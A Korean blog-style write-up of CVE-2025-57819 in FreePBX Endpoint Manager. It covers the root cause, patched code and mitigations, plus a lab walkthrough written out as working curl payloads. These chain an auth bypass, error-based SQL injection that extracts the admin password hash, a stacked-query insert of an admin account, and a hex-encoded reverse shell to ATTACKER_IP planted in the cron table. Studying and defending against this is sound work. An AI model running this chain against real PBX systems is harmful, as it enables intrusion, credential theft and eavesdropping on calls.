1. 개요
2025년 공개된 CVE-2025-57819는 Sangoma FreePBX의 상용 모듈인 Endpoint Manager에서 발생하는 취약점으로, 인증 우회(Auth Bypass) → SQL Injection → 원격 코드 실행(RCE) 체인으로 이어지는 Pre-Auth RCE다.
FreePBX는 전 세계 수십만 곳에서 사용되는 오픈소스 VoIP PBX 플랫폼으로, 이 취약점이 악용될 경우 기업 전화망 전체의 도청·장악이 가능해진다는 점에서 파급력이 상당히 크다.
영향 범위
| Endpoint Manager 버전 | 패치 버전 | 상태 |
|---|---|---|
| 15.x | 15.0.66 이상 | ✅ 패치 존재 |
| 16.x | 16.0.89 이상 | ✅ 패치 존재 |
| 17.x | 17.0.3 이상 | ✅ 패치 존재 |
2. 취약점 원인 분석
2.1 FreePBX AJAX 핸들러 구조
FreePBX의 관리자 패널(/admin/)은 /admin/ajax.php를 중앙 AJAX 라우터로 사용한다. 외부 요청은 module 파라미터로 처리할 모듈을 지정한다.
GET /admin/ajax.php?module=core&command=status
일반적인 흐름에서는 세션 검사($_SESSION['AMP_user'])를 통과해야 모듈이 실행된다.
2.2 인증 우회: 네임스페이스 경로 트릭
FreePBX의 PHP 클래스 로더는 백슬래시(\)를 네임스페이스 구분자로 취급하여 파일 경로로 변환한다.
module=FreePBX\modules\endpoint\ajax
↓ (백슬래시 → 슬래시 변환)
FreePBX/modules/endpoint/ajax
↓ (파일시스템 경로)
admin/modules/endpoint/ajax.php
취약한 버전에서는 이 파일 포함(include)이 세션 검사보다 먼저 실행되어, 모듈의 코드가 인증 없이 동작한다.
// 취약한 ajax.php 로직 (단순화)
$module_path = str_replace('\\', '/', $_GET['module']);
// ⚠ 세션 검사 없이 먼저 파일을 include
require_once "modules/{$mod_name}/{$mod_file}.php";
// 아래 검사는 이미 모듈이 실행된 후...
if (!$_SESSION['AMP_user']) { die('Not authorized'); }
패치된 버전(≥16.0.89)에서는 네임스페이스 형식의 모듈 경로를 요청 초기에 거부한다.
2.3 SQL Injection: brand 파라미터 미검증
인증을 우회하여 도달하는 endpoint 모듈의 model 커맨드는 brand 파라미터를 SQL 쿼리에 직접 문자열 연결한다.
// endpoint/ajax.php (취약 코드)
$brand = $_GET['brand']; // 사용자 입력 그대로
// ⚠ Prepared Statement 없이 직접 연결
$sql = "SELECT * FROM endpoint_models
WHERE manufacturer = '$brand'
AND template = '$template'";
$result = $pdo->query($sql); // Raw query 실행
이를 통해 다음 두 가지 SQL Injection 기법이 가능하다.
에러 기반 추출 (Error-based)
-- EXTRACTVALUE가 XPath 에러 메시지에 SQL 실행 결과를 포함시킴
brand=' AND EXTRACTVALUE(1,CONCAT(0x7e7e7e,(SELECT version()),0x7e7e7e))-- -
스택 쿼리 (Stacked Query)
-- 세미콜론으로 새 쿼리를 주입
brand=x'; INSERT INTO ampusers (username,password_sha1,sections)
VALUES ('hacker','<sha1>','all'); -- -
3. 공격 체인 상세
[인터넷 공격자]
│
│ GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
│ &command=model&brand=<PAYLOAD>
│
▼
┌─────────────────────────────────────────────────────┐
│ FreePBX 16.0.40.7 (취약) │
│ │
│ 1. 네임스페이스 경로 감지 │
│ → 세션 검사 건너뜀 (Auth Bypass ✓) │
│ │
│ 2. endpoint/ajax.php 실행 │
│ → brand 파라미터 SQL 직접 연결 │
│ → EXTRACTVALUE로 DB 내용 추출 (SQLi ✓) │
│ │
│ 3. 스택 쿼리로 관리자 계정 삽입 │
│ → ampusers 테이블에 공격자 계정 생성 │
│ │
│ 4. 관리자 패널 로그인 │
│ → 설정 변경 / 웹쉘 업로드 (RCE ✓) │
└─────────────────────────────────────────────────────┘
4. 취약점 실습

해당 페이지로 접근하면 로그인 창이 나오고 현재 FreePBX 16.0.40.7 버전이 활성화된 것을 볼 수 있습니다.
Step 1: 인증 우회 확인
일반 요청 (인증 필요, 403 반환):
curl "http://localhost:8080/admin/ajax.php?module=core&command=status"
{"error": "Not authorized", "code": 403}

네임스페이스 경로로 우회 (인증 없이 200 반환):
curl "http://localhost:8080/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=brands"
{"success":true,"brands":[{"id":3,"name":"Cisco","logo_url":"\/assets\/brands\/cisco.png"},{"id":5,"name":"Grandstream","logo_url":"\/assets\/brands\/grandstream.png"},{"id":2,"name":"Polycom","logo_url":"\/assets\/brands\/polycom.png"},{"id":4,"name":"Snom","logo_url":"\/assets\/brands\/snom.png"},{"id":1,"name":"Yealink","logo_url":"\/assets\/brands\/yealink.png"}]}

%5C는 백슬래시(\)의 URL 인코딩이다. 인증 없이 데이터가 반환된 것을 확인할 수 있다.
Step 2: 에러 기반 SQL Injection으로 데이터 추출
2-1. DB 버전 확인
curl -is -G "http://localhost:8080/admin/ajax.php" ^
--data-urlencode "module=FreePBX\modules\endpoint\ajax" ^
--data-urlencode "command=model" ^
--data-urlencode "template=x" ^
--data-urlencode "model=x" ^
--data-urlencode "brand=' AND EXTRACTVALUE(1,CONCAT(0x7e7e7e,(SELECT version()),0x7e7e7e))-- -"
응답에서 에러 메시지 확인:
{"success":false,"error":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~~~10.6.27-MariaDB-ubu2204~~~'","query":"SELECT id, model_name, config_template\n FROM endpoint_models\n WHERE manufacturer = '' AND EXTRACTVALUE(1,CONCAT(0x7e7e7e,(SELECT version()),0x7e7e7e))-- -'\n AND template = 'x'"}

~~~10.6.27-MariaDB~~~ → DB 버전이 에러 메시지에 노출되었다.
2-2. 현재 DB 사용자 확인
# brand 파라미터만 변경
brand=' AND EXTRACTVALUE(1,CONCAT(0x7e7e7e,(SELECT user()),0x7e7e7e))-- -
XPATH syntax error: '~~~freepbxuser@%~~~'

2-3. 관리자 계정 해시 탈취
EXTRACTVALUE를 이용한 에러 기반 추출에는 32자 출력 제한이 있다. SHA1 해시는 40자이므로 한 번의 요청으로 전체를 추출할 수 없다.
에러 메시지 최대 출력: 32자
접두사 "~~~admin:" 포함 시 해시 가시 범위: 최대 23자
→ 나머지 17~20자는 잘려서 "..." 로 표시됨
따라서 SUBSTR(column, offset, length)로 두 번 나눠 추출해야 한다.
1차 요청 — 해시 앞 20자 (1~20번째)
curl -s -G "http://localhost:8080/admin/ajax.php" ^
--data-urlencode "module=FreePBX\modules\endpoint\ajax" ^
--data-urlencode "command=model" ^
--data-urlencode "template=x" ^
--data-urlencode "model=x" ^
--data-urlencode "brand=' AND EXTRACTVALUE(1,CONCAT(0x7e7e7e,(SELECT CONCAT(username,':',SUBSTR(password_sha1,1,20)) FROM ampusers LIMIT 1),0x7e7e7e))-- -"
XPATH syntax error: '~~~admin:c2d5625909f9d0679864~~~'
←————————————→
앞 20자 추출

2차 요청 — 해시 뒤 20자 (21~40번째)
curl -s -G "http://localhost:8080/admin/ajax.php" ^
--data-urlencode "module=FreePBX\modules\endpoint\ajax" ^
--data-urlencode "command=model" ^
--data-urlencode "template=x" ^
--data-urlencode "model=x" ^
--data-urlencode "brand=' AND EXTRACTVALUE(1,CONCAT(0x7e7e7e,(SELECT SUBSTR(password_sha1,21,20) FROM ampusers LIMIT 1),0x7e7e7e))-- -"
XPATH syntax error: '~~~600f998cfd5f2c5e9272~~~'
←————————————→
뒤 20자 추출

두 결과를 이어 붙이면 완전한 SHA1 해시가 완성된다.
앞 20자: c2d5625909f9d0679864
뒤 20자: 600f998cfd5f2c5e9272
완성 해시: c2d5625909f9d0679864600f998cfd5f2c5e9272
hashcat -m 100 c2d5625909f9d0679864600f998cfd5f2c5e9272 /usr/share/wordlists/rockyou.txt
참고: EXTRACTVALUE 32자 제한은 MySQL/MariaDB 공통 사양이다. 더 긴 문자열을 추출할 때는 SUBSTR 분할 외에도
time-based blind injection이나UNION-based injection으로 우회할 수 있다.
Step 3: 스택 쿼리로 관리자 계정 생성
# 공격자 계정: hacker / Hacked123!
# SHA1("Hacked123!") = 6b9e75fa5e5f1471b3a3c2f4d0a3e8b2a...
curl -s -G "http://localhost:8080/admin/ajax.php" ^
--data-urlencode "module=FreePBX\modules\endpoint\ajax" ^
--data-urlencode "command=model" ^
--data-urlencode "template=x" ^
--data-urlencode "model=x" ^
--data-urlencode "brand=x'; INSERT INTO ampusers (username, password_sha1, sections) VALUES ('hacker', SHA1('Hacked123!'), 'all'); -- -"
{"success":true,"data":[],"count":0}
삽입 결과 검증:
curl -s -G "http://localhost:8080/admin/ajax.php" ^
--data-urlencode "module=FreePBX\modules\endpoint\ajax" ^
--data-urlencode "command=adduser"
{
"ampusers": [
{"username": "hacker", "password_sha1": "ec3beb077a589a30db416792f4800441c63a0010"},
{"username": "admin", "password_sha1": "c2d5625909f9d0679864600f998cfd5f2c5e9272"}
]
}
Step 4: RCE — cron_jobs 테이블을 통한 OS 명령 실행
FreePBX는 cron_jobs 테이블의 명령을 cron 데몬이 주기적으로 실행한다. 이 테이블에 OS 명령을 삽입하면 RCE로 이어진다.
주의: 따옴표 문제와 해결책
단순하게 SQL 문자열로 리버스 쉘을 삽입하려 하면 실패한다.
:: ❌ 실패 — & 가 URL 파라미터 구분자로 해석되거나
:: 중첩 따옴표("...")가 SQL 파서를 깨뜨림
brand=x'; INSERT INTO cron_jobs (...) VALUES ('pwned', 'bash -c "bash -i >& /dev/tcp/..."', ...); -- -
실제로 테스트하면 success:true가 반환되지만 cron_check로 확인하면 행이 삽입되지 않았다.\
해결책: SQL 헥스 리터럴 사용
리버스 쉘 명령을 SQL 헥스 리터럴(0x...)로 인코딩하면 따옴표가 전혀 필요 없어 모든 특수문자 문제가 사라진다.
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
→ 0x62617368202d69203e26202f6465762f7463702f.../34343434203 03e2631
PowerShell로 공격 대상 IP에 맞는 hex를 생성한다.\
# 공격자 IP로 교체 후 실행
$cmd = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$hex = "0x" + (([System.Text.Encoding]::UTF8.GetBytes($cmd) | ForEach-Object { $_.ToString("x2") }) -join "")
Write-Host $hex
생성된 hex를 이용해 삽입 (따옴표 없이 hex 리터럴로 직접 지정):
:: 공격자 머신에서 리스너 먼저 실행
nc -lvnp 4444
# hex 리터럴 INSERT — 따옴표 충돌 없음
$hex = "0x62617368202d69203e26202f6465762f7463702f41545441434b45525f49502f34343434203 03e2631"
$payload = "x'; INSERT INTO cron_jobs (job_name, command, schedule, enabled) VALUES ('pwned', $hex, '* * * * *', 1); -- -"
$url = "http://localhost:8080/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=x&brand=" + [Uri]::EscapeDataString($payload)
(Invoke-WebRequest -Uri $url -UseBasicParsing).Content
cron 삽입 확인:
curl -s -G "http://localhost:8080/admin/ajax.php" ^
--data-urlencode "module=FreePBX\modules\endpoint\ajax" ^
--data-urlencode "command=cron_check"
{
"cron_jobs": [
{
"id": 4,
"job_name": "pwned",
"command": "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1",
"schedule": "* * * * *",
"last_run": null
}
]
}
command 필드에 리버스 쉘이 정확히 복원된 것을 확인할 수 있다. 1분 이내에 리스너에 리버스 쉘 연결이 수신된다.
5. 소스코드 레벨 분석
취약한 코드 vs 패치된 코드
취약한 ajax.php (v16.0.40)
// 네임스페이스 모듈 경로를 감지하면 세션 검사 없이 include
$module_path = str_replace('\\', '/', $module);
$is_namespaced = strpos($module, '\\') !== false;
if ($is_namespaced) {
// ⚠ 세션 검사 없음
require_once __DIR__ . "/modules/{$mod_name}/{$mod_file}.php";
exit;
}
// 일반 모듈은 세션 검사 (하지만 위에서 이미 exit)
if (!$_SESSION['AMP_user']) { die('Not authorized'); }
패치된 ajax.php (v16.0.89)
// 네임스페이스 형식 모듈 경로를 사전에 차단
if (strpos($module, '\\') !== false || strpos($module, '/') !== false) {
http_response_code(400);
die(json_encode(['error' => 'Invalid module name']));
}
// 세션 검사 후 모듈 로드
if (!$_SESSION['AMP_user']) {
http_response_code(403);
die(json_encode(['error' => 'Not authorized']));
}
취약한 endpoint/ajax.php (SQLi 부분)
// ⚠ Prepared Statement 미사용
$brand = $_GET['brand'];
$sql = "SELECT * FROM endpoint_models WHERE manufacturer = '$brand'";
$pdo->query($sql); // 직접 실행
패치된 endpoint/ajax.php
// ✅ Prepared Statement 적용
$stmt = $pdo->prepare(
"SELECT * FROM endpoint_models WHERE manufacturer = ? AND template = ?"
);
$stmt->execute([$_GET['brand'], $_GET['template']]);
$rows = $stmt->fetchAll();
6. 대응 방안
즉각적 조치 (Immediate)
# FreePBX 모듈 업그레이드
fwconsole ma upgrade endpoint
# 업그레이드 후 버전 확인
fwconsole ma list | grep endpoint
# endpoint 16.0.89 Enabled (정상)
네트워크 수준 완화
# Nginx: 네임스페이스 경로 패턴 차단
location ~ /admin/ajax\.php {
if ($args ~* "module=.*(%5C|\\\\)") {
return 403;
}
}
# 방화벽으로 관리자 패널 접근 제한
iptables -A INPUT -p tcp --dport 80 -s MANAGEMENT_IP_RANGE -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
장기적 조치
- FreePBX 관리 패널을 인터넷에 직접 노출 금지 (VPN 뒤에 배치)
- 불필요한 상용 모듈(Endpoint Manager) 비설치
ampusers및cron_jobs테이블에 대한 변경 알림 설정- WAF 규칙으로 SQL Injection 패턴 필터링
7. 결론
CVE-2025-57819는 두 가지 취약점이 연쇄적으로 결합된 고위험 Pre-Auth RCE다.
- 인증 우회: PHP 클래스 로더의 네임스페이스 처리 방식을 악용해 세션 검사를 건너뜀
- SQL Injection: 사용자 입력을 Prepared Statement 없이 직접 SQL에 연결
이 체인이 무서운 이유는 공격자가 아무런 사전 정보나 자격증명 없이 DB 완전 탈취 및 OS 명령 실행까지 도달할 수 있다는 점이다. FreePBX를 인터넷에 직접 노출한 환경이라면 즉각적인 패치가 필수다.
Comments
Sign in with GitHub to leave a comment.